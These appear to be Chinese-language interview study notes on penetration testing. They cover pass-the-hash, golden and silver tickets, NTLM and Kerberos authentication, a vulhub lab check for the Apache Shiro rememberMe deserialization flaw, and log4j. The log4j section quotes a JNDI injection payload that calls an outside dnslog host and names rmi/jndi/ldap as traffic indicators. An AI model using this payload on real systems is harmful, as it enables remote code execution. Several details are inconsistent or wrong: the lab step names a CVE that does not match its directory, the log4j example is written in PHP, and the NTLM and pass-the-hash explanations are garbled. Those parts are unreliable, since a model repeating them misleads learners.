1、熟悉哪些域滲透的手段

? 黃金票據(jù)、白銀票據(jù)、哈希傳遞

2、詳細(xì)說(shuō)明哈希傳遞的攻擊原理

哈希傳遞只針對(duì)相同密碼進(jìn)行攻擊。

NTLM認(rèn)證流程

NTLM加密：

• admin -> hex(16進(jìn)制編碼)= 61646d696e
• 61646d696e-> Unicode =610064006d0069006e00
• 610064006d0069006e00–>MD4=209c6174da490caeb422f3fa5a7ae634

認(rèn)證過(guò)程：

注意:challenge每次認(rèn)證都不一樣，是一個(gè)隨機(jī)生成的16字節(jié)隨機(jī)數(shù)，response的形勢(shì)與server生成的net-ntlm
hash一個(gè)格式

如上圖，客戶端client發(fā)送一個(gè)user用戶名給服務(wù)器server，服務(wù)器從內(nèi)存中檢查它的用戶名user是否存在，不存在，登錄失敗；存在，就生成一個(gè)challenge，然后服務(wù)器會(huì)查找內(nèi)存中user對(duì)應(yīng)的已經(jīng)NTLM加密后的哈希密文（加密的是user的密碼，假設(shè)是admin），并使用該哈希加密challenge（與challenge做邏輯運(yùn)算），這個(gè)加密后的challenge就叫做net-ntlm hash，作為密碼已經(jīng)加密的標(biāo)志保存到服務(wù)器內(nèi)存中

然后服務(wù)器會(huì)將challenge發(fā)送給客戶端，客戶端將自己的密碼轉(zhuǎn)換成NTLM哈希，用生成的哈希加密challenge，這個(gè)加密后的challenge叫做response，然后客戶端將response發(fā)送給服務(wù)器。

最后服務(wù)器對(duì)比自己內(nèi)存中的net-ntlm hash與客戶端發(fā)來(lái)的response是否一致，如果一致，就登錄成功。

在這個(gè)過(guò)程中，即使response被攻擊者捕獲，也不能被偽造，保證了通信的安全。

哈希傳遞

當(dāng)攻擊者知道一臺(tái)計(jì)算機(jī)的本地管理員的NTLM哈希，那么他可以使用這個(gè)哈希輕松地對(duì)該計(jì)算機(jī)進(jìn)行身份驗(yàn)證。類似地，如果他擁有主機(jī)上本地管理組成員的域用戶的NT哈希，他也可以作為本地管理員向該主機(jī)進(jìn)行身份驗(yàn)證。

如下圖，域中一臺(tái)計(jì)算機(jī)淪陷，因?yàn)槠渌ぷ髡径季哂邢嗤墓芾韱T帳戶和相同的密碼，那么它們也將具有相同的NT哈希，攻擊者就能用它的NTML哈希驗(yàn)證其他的服務(wù)器：

3、聊一下黃金票據(jù)和白銀票據(jù)

黃金票據(jù)是偽造的TGT,白銀票據(jù)就是偽造的ST。黃金票據(jù)是偽造了域管理員身份票據(jù)的TGT，白銀票據(jù)偽造的是服務(wù)的票據(jù)ST，黃金票據(jù)可以訪問(wèn)它身份下的所有服務(wù)，白銀票據(jù)只能訪問(wèn)被偽造服務(wù)票據(jù)ST的服務(wù)。

4、shiro反序列化漏洞的形成原因，嘗試使用burp抓包查看返回包內(nèi)容

形成原因：

Apache Shiro框架提供了記住我的功能（RememberMe），用戶登陸成功后會(huì)生成經(jīng)過(guò)加密并編碼的cookie，在服務(wù)端接收cookie值后，Base64解碼–>AES解密–>反序列化。攻擊者只要找到AES加密的密鑰，就可以構(gòu)造一個(gè)惡意對(duì)象，對(duì)其進(jìn)行序列化–>AES加密–>Base64編碼，然后將其作為cookie的rememberMe字段發(fā)送，Shiro將rememberMe進(jìn)行解密并且反序列化，最終造成反序列化漏洞。

安裝環(huán)境

進(jìn)入vulhb目錄下的weblogic，復(fù)現(xiàn)CVE-2018-2894漏洞：

cd /vulhub/shiro/CVE-2010-3863

查看docker-compose的配置文件：

cat docker-compose.yml

如圖，里面有一個(gè)鏡像文件的信息和服務(wù)名，以及它的端口號(hào)（后面要用）：

然后使用下面命令，搭建docker-compose并啟動(dòng)：

sudo docker-compose up -d && sudo docker-compose up -d

如圖，安裝成功：

漏洞驗(yàn)證

原理如下：

Apache Shiro框架提供了記住我的功能（RememberMe），用戶登陸成功后會(huì)生成經(jīng)過(guò)加密并編碼的cookie，在服務(wù)端接收cookie值后，Base64解碼–>AES解密–>反序列化。攻擊者只要找到AES加密的密鑰，就可以構(gòu)造一個(gè)惡意對(duì)象，對(duì)其進(jìn)行序列化–>AES加密–>Base64編碼，然后將其作為cookie的rememberMe字段發(fā)送，Shiro將rememberMe進(jìn)行解密并且反序列化，最終造成反序列化漏洞。

用bp自帶的瀏覽器打開(kāi)http://10.9.75.45:8080/，隨意輸入用戶名密碼并勾選記住我

點(diǎn)擊登錄后抓包，發(fā)送到repeat模塊，發(fā)現(xiàn)請(qǐng)求包中有rememberme字段：

點(diǎn)擊send發(fā)送，響應(yīng)包中有set-cookie字段，并有rememberMe=deleteMe內(nèi)容，這是一個(gè)shiro反序列化漏洞的強(qiáng)特征，說(shuō)明有極大的可能存在shiro反序列化：

5、log4j組件的命令執(zhí)行漏洞是如何造成的

log4j（log for Java）是Apache的一個(gè)開(kāi)源項(xiàng)目，是一個(gè)基于Java的日志記錄框架。該漏洞的主要原因是log4j在日志輸出中，未對(duì)字符合法性進(jìn)行嚴(yán)格的限制，執(zhí)行了JNDI協(xié)議加載的遠(yuǎn)程惡意腳本，從而造成RCE。

它是一個(gè)RCE命令執(zhí)行的漏洞,它的日志的輸出如下：print函數(shù)雙引號(hào)中的內(nèi)容會(huì)被當(dāng)做字符處理

$user=$_GET("user");
log.print(“用戶$user登錄失敗”);

如果print函數(shù)中出現(xiàn)如${jndi:ldap://lof4ot.dnslog.cn/exp}的內(nèi)容，就會(huì)將大括號(hào)中的內(nèi)容當(dāng)做命令執(zhí)行

如果流量中遇到下面三個(gè)關(guān)鍵字，極大可能是Java的漏洞攻擊：

rmi、jndi、ldap

6、畫(huà)圖描述Kerberos協(xié)議的通信流程并解釋如何實(shí)現(xiàn)安全的傳輸

DC（Domain Controller）：域控制器，是域中一臺(tái)擁有最高管理權(quán)限的計(jì)算機(jī)

AD（Active Directory）：活動(dòng)目錄數(shù)據(jù)庫(kù)

KDC（Key Distributed Centre）：包含了AS和TGS。

AS（Authentication Server）：身份驗(yàn)證服務(wù)，為客戶生成TGT的服務(wù)

TGS（Ticket GrantingServer）：票證發(fā)放服務(wù)器，通過(guò)你的TGT來(lái)發(fā)放ST

TGT（Ticket Granting Ticket）：票據(jù)授權(quán)票據(jù)，通過(guò)票據(jù)授權(quán)票據(jù)可以獲得一個(gè)票據(jù)，類似臨時(shí)憑證

ST（Service Ticket）：服務(wù)票據(jù)

如下圖，客戶端首先向AS發(fā)送請(qǐng)求，AS提供TGT身份票據(jù)給客戶端，客戶端得到TGT后去訪問(wèn)TGS，由TGS發(fā)放服務(wù)票據(jù)ST，最后客戶端用ST去訪問(wèn)服務(wù)端，服務(wù)端給客戶端回應(yīng)：

詳解：

1、客戶端發(fā)送自己的用戶名給AS

2、AS驗(yàn)證用戶名是否在白名單列表，如果在的話隨機(jī)生成session key(as)返回如下信息

TGT1(session key(as),TGS服務(wù)器信息等)–客戶端NTLM哈希加密

TGT2(session key(as),客戶端信息等)–KRBTGT NTLM哈希加密（KRBTGT可以理解為DC中最高權(quán)限的用戶）

3、用自己的NTLM哈希解密TGT1， 獲得TGS服務(wù)器信息以及session key(as)，TGT2由于是別人的哈希，所以解不開(kāi)。

生成認(rèn)證因子(客戶端信息，當(dāng)前時(shí)間)–session key(as)加密（認(rèn)證因子用來(lái)驗(yàn)證TGT是否正確）

發(fā)送認(rèn)證因子以及TGT2給TGS服務(wù)

4、TGS服務(wù)先解密TGT2獲得session key(as)，緊接著利用session key(as)解密認(rèn)證因子，對(duì)比認(rèn)證因子與TGT2的客戶端信息是否一致，如果一致生成session key(TGS)，返回如下信息給客戶端

TGT3(session key(TGS),服務(wù)器信息，票據(jù)到期時(shí)間)–session key(as)加密

TGT4(session key(TGS),客戶端信息，票據(jù)到期時(shí)間)–客戶端想要訪問(wèn)的服務(wù)器的哈希加密

5、客戶端解密TGT3，得到session key(TGS)，服務(wù)器信息

生成認(rèn)證因子2(服務(wù)器信息，票據(jù)到期時(shí)間)–session key(TGS)加密

發(fā)送認(rèn)證因子2以及TGT4給服務(wù)器

6、服務(wù)器先用自己的哈希解密TGT4得到session key(TGS)，客戶端信息，票據(jù)有效期

利用session key(TGS)解密認(rèn)證因子對(duì)比客戶端信息（驗(yàn)證ST是否正確）決定是否提供服務(wù)

以下圖的郵件服務(wù)為例：

客戶端向域控DC中的AS發(fā)送請(qǐng)求，AS生成一個(gè)session key（身份令牌），session key（as）分別保存在TGT1和TGT2兩個(gè)身份票據(jù)做臨時(shí)憑證中（其中TGT1用客戶端的哈希加密，TGT2用最高管理用戶的哈希加密），AS將session key（as）發(fā)給客戶端，客戶端用自己的NTLM哈希解密TGT1得到TGS服務(wù)器信息（TGT2無(wú)法被客戶端解密），然后用session key（as）加密生成一個(gè)認(rèn)證因子作為TGT2的證明。

然后客戶端將認(rèn)證因子以及TGT2發(fā)給TGS服務(wù)，TGS解密TGT2得到session key（as），解密認(rèn)證因子并與認(rèn)證因子做對(duì)比，如果一致則生成session key(TGS)，返回TGT3和TGT4給客戶端，TG3被session key(as)加密，由于之前客戶端接收到了session key（as），所以可以解密TGT3得到服務(wù)器信息，解密后客戶端再次生成一個(gè)認(rèn)證因子作為TGT4的證明。

最后客戶端將認(rèn)證因子及TGT4發(fā)送給郵件服務(wù)，郵件服務(wù)用哈希解密TGT4得到session key(TGS)，用它解密認(rèn)證因子對(duì)比客戶端信息，正確則提供服務(wù)。